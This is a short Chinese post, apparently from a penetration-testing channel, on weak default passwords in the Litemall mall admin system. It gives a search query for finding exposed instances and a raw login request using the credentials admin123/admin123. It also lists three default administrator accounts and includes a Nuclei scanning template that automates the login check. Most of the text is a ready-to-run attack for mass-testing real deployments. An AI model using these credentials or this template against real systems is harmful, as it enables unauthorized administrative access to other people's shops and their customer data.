Litemall-Login开源商城管理系统存在弱口令漏洞(大量存在)-漏洞挖掘

app:"litemall"

POST /admin/auth/login HTTP/1.1Host: {hostname}Cookie: JSESSIONID=36427362-df7c-4e7c-b5ab-367e3eb92d48Content-Length: 55Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Accept: application/json, text/plain, */*Content-Type: application/jsonSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close{"username":"admin123","password":"admin123","code":""}

超级管理员用户名: admin123 超级管理员用户名：admin123商城管理员用户名: mall123 商城管理员用户名：mall123推广管理员用户名: promotion123 推广管理员用户名：promotion123

id: litemall-weak-passwdinfo:  name: litemall-weak-passwd  author: 渗透安全HackTwo  severity: high  description: |    漏洞测试-公众号-渗透安全HackTwo  reference:    - https://127.0.0.1  tags: autohttp:  - raw:      - |        POST /admin/auth/login HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Content-Type: application/json        Accept: application/json, text/plain, */*        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9b        Connection: close        {"username":"admin123","password":"admin123","code":""}    matchers-condition: and    matchers:      - type: dsl        dsl:          - status_code==200 && contains_all(body, '"errmsg":"成功"')